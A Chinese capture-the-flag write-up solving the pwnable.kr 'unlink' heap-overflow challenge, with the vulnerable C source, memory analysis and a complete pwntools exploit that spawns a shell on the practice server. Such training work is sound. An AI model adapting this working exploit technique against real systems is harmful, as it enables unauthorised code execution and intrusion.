zoukankan      html  css  js  c++  java
  • #writeup#pwnable unlink

    题目信息

    程序源代码:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    typedef struct tagOBJ{
     struct tagOBJ* fd;
     struct tagOBJ* bk;
     char buf[8];
    }OBJ;
    
    void shell(){
     system("/bin/sh");
    }
    
    void unlink(OBJ* P){
     OBJ* BK;
     OBJ* FD;
     BK=P->bk;
     FD=P->fd;
     FD->bk=BK;
     BK->fd=FD;
    }
    int main(int argc, char* argv[]){
     malloc(1024);
     OBJ* A = (OBJ*)malloc(sizeof(OBJ));
     OBJ* B = (OBJ*)malloc(sizeof(OBJ));
     OBJ* C = (OBJ*)malloc(sizeof(OBJ));
    
     // double linked list: A <-> B <-> C
     A->fd = B;
     B->bk = A;
     B->fd = C;
     C->bk = B;
    
     printf("here is stack address leak: %p
    ", &A);
     printf("here is heap address leak: %p
    ", A);
     printf("now that you have leaks, get shell!
    ");
     // heap overflow!
     gets(A->buf);
    
     // exploit this unlink!
     unlink(B);
     return 0;
    }

    检查程序安全选项

    可以看到,是 32bit 程序,只启用了NX,没启用canary。

    giantbranch@ubuntu:~/pwnable/unlink$ file unlink
    unlink: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=3b89c9c89761e7ff1727d2ed9cf0117d3313a370, not stripped
    giantbranch@ubuntu:~/pwnable/unlink$ checksec unlink
    [*] '/home/giantbranch/pwnable/unlink/unlink'
        Arch: i386-32-little
        RELRO: Partial RELRO
        Stack: No canary found
        NX: NX enabled
        PIE: No PIE (0x8048000)
    

    题目分析

    基本逻辑分析

    程序逻辑非常清晰:

    • 在栈上有三个tagOBJ 类型指针,指向 malloc 在堆上分配的三块空间
    • 构造一个双向链表: A<-->B<-->C
    • 将变量A在栈中的地址,和堆中的地址都打印出来
    • 利用 gets 在 A->buf 堆上构造一个 overflow 点
    • 调用 unlink 来exploit
      pwn的题目就好像密室逃脱,现在给了足够的线索,就看玩家怎么将其串起来,最终通关逃出。
      所以,先看看我们已有的线索:
    • 其中一个变量A的stack和heap地址
    • gets(A->buf):堆上一块可任意写区域
      目标是什么?
    • 通过unlink 获取到 EIP,也就是程序控制权

    结合调试分析内存结构

    这道题目我认为自己可以走出来,所以没看别人的writeup。先对程序进行调试,看看A/B/C在内存中的结构。
    从main反汇编代码可以看到四次call malloc

    从第二次 malloc 开始,push 0x10表明struct tagOBJ 大小为0x10 字节。malloc 返回值在eax中,所以

    mov DWORD PTR [ebp-0x14], eax
    mov DWORD PTR [ebp-0xc], eax
    mov DWORD PTR [ebp-0x10], eax

    表明三个变量 A/B/C 在栈中分别是 ebp-0x14/-0xC/-0x10
    先看看此时内存的结构:

    可以画出此时的内存图,A/B/C 之间相隔 0x28-0x10 = 0x18 的距离,去掉struct大小,还有8btye的空间:

    构造双向链表

     // double linked list: A <-> B <-> C
     A->fd = B;
     B->bk = A;
     B->fd = C;
     C->bk = B;

    此时的内存内容:

    对应的内存图:

    随意输入8个A,当正常完成 unlink 之后:

    A->bk 和 C->bk 的值都发生了变化。

    思考exploit

    现在对题目的内容和内存结构已经非常清楚了,结合注释 exploit this unlink! 可以知道,突破点就在这几行代码:

    void unlink(OBJ* P){
     OBJ* BK;
     OBJ* FD;
     BK=P->bk;
     FD=P->fd;
     FD->bk=BK;
     BK->fd=FD;
    }

    分析下:

    • 我们可以通过 gets(A->buf) 控制 BK 和 FD 的值
    • 从而对 FD->bk 和 BK->fd 指向的地址进行任意写操作

    如何控制 EIP

    现在就差如何控制EIP了,怎么办?两种思路:

    • 思路一:控制 unlink 的EIP:经过实验发现行不通。原因推测:因为无法泄露 unlink 的ebp 值,因此无法覆盖 unlink 的EIP。
    • 思路二:覆盖 main 的 EIP : 因为我们知道 A 在栈中的位置为 $ebp-0x14,可以知道 main 的eip 在 &A + 0x18 的位置。经验证,这条想法行不通,因为main函数的构造和其他函数不一样
      卡在了这里,通过查看网上的wp,发现对于main应该利用ret指令:

      leave 指令的说明;
    OpcodeMnemonicDescription
    C9LEAVESet SP to BP, then pop BP.
    C9LEAVESet ESP to EBP, then pop EBP.

    RET 指令的说明:Transfers program control to a return address located on the top of the stack.
    ret 指令会取 esp的值作为eip去执行。
    lea esp, [ecx-0x4]
    ecx的值来自于 [ebp-0x4],如果我们将 [ebp-0x4] 指向控制的堆块地址X,然后 X- 4 的地方防止 shell函数入口,那么 [ecx-0x4]就会执行我们的shell函数。示意图如下:

    如何利用 unlink 将shell地址写入

    此时黄色区域都是我们可以控制的

    此时可以有多种布局方式:

    编写 exp

    针对第一种方式,payload 布局:
    payload = 'a' * (0x8 + 0x4) + p32(&shell) + p32(int(heap_a,16) +0x10 + 0x8) + p32(int(stack_a, 16) + 0x10)

    针对第二种方式,payload布局:
    payload = 'a' * 0x8 + p32(&shell) + p32(int(heap_a, 16) + 0x10 + 0x4) +p32(int(heap_a, 16) + 0x10 + 0x4) + p32(int(stack_a, 16) + 0x10)

    上面shell函数 地址通过 b shell 得到,为 0x80484f1,可以发现,该地址是固定不变的。

    完整的exp:

    from pwn import *
    
    context.log_level = 'debug'
    
    #p = process("./unlink")
    #pwnlib.gdb.attach(proc.pidof(p)[0], gdbscript="b *0x080485e9
    b *0x80485f7
    c
    ") 
    
    s = ssh(host = 'pwnable.kr', port = 2222, user = 'unlink', password = 'guest')
    p = s.run('./unlink')
    
    p.recvuntil("here is stack address leak: ")
    stack_a = p.recvuntil("
    ", drop=True)
    
    p.recvuntil("here is heap address leak: ")
    heap_a = p.recvuntil("
    ", drop=True)
    
    p.recvline()
    
    #try1: main's eip cannot be modified
    #payload = 'a' * ( 8 + 0x8) + p32(0x80484f1) + p32(int(stack_a, 16) + 0x18)
    #try2: sigerr fd->bk cannot write
    #shell + FD + 'a' * 12 + main_ebp-0x4
    #payload = p32(0x80484f1) + p32(int(heap_a, 16) + 0xc) + 'a' * (0x8 + 0x4) + p32(int(stack_a, 16) + 0x10)
    #try3: nop * 0xc + shell + FD + BK
    # payload = 'a' * (0x8 + 0x4) + p32(0x80484f1) + p32(int(heap_a, 16) + 0x10 + 0x8) + p32(int(stack_a, 16) + 0x10)
    #try4: nop * 0x8 + shell + FD + FD + BK
    payload = 'a' * 0x8 + p32(0x80484f1) + p32(int(heap_a, 16) + 0x10 + 0x4) + p32(int( heap_a, 16) + 0x10 + 0x4) + p32(int(stack_a, 16) + 0x10)
    
    print payload.encode('hex')
    
    p.sendline(payload)
    print p.recv()
    
    p.interactive()
    

    exp flag

    他山之石

    看看其他人的解法。

    总结

    利用 pwntools 调用gdb来调试程序

    通过 gdbscript,可以把输入自动化,断点自动化,方便进一步调试。

    pwntools 使用方法总结


    这是目前用的。shellcode 的有空再补充。

    获取 EIP 的方式

    stack 上面还是想办法拿到 eip
    对于 main 函数,考虑ret前,通过其他函数拿到修改 ecx 的机会。





  • 相关阅读:
    JavaSE_11_File类、递归
    JavaSE_10_IO流
    leyou_07_对数据的操作
    JavaSE_09_Map
    JavaSE_08_Collections常用功能
    java 22
    java 22
    java 22
    java 22
    java 22
  • 原文地址:https://www.cnblogs.com/handt/p/12688831.html
Copyright © 2011-2022 走看看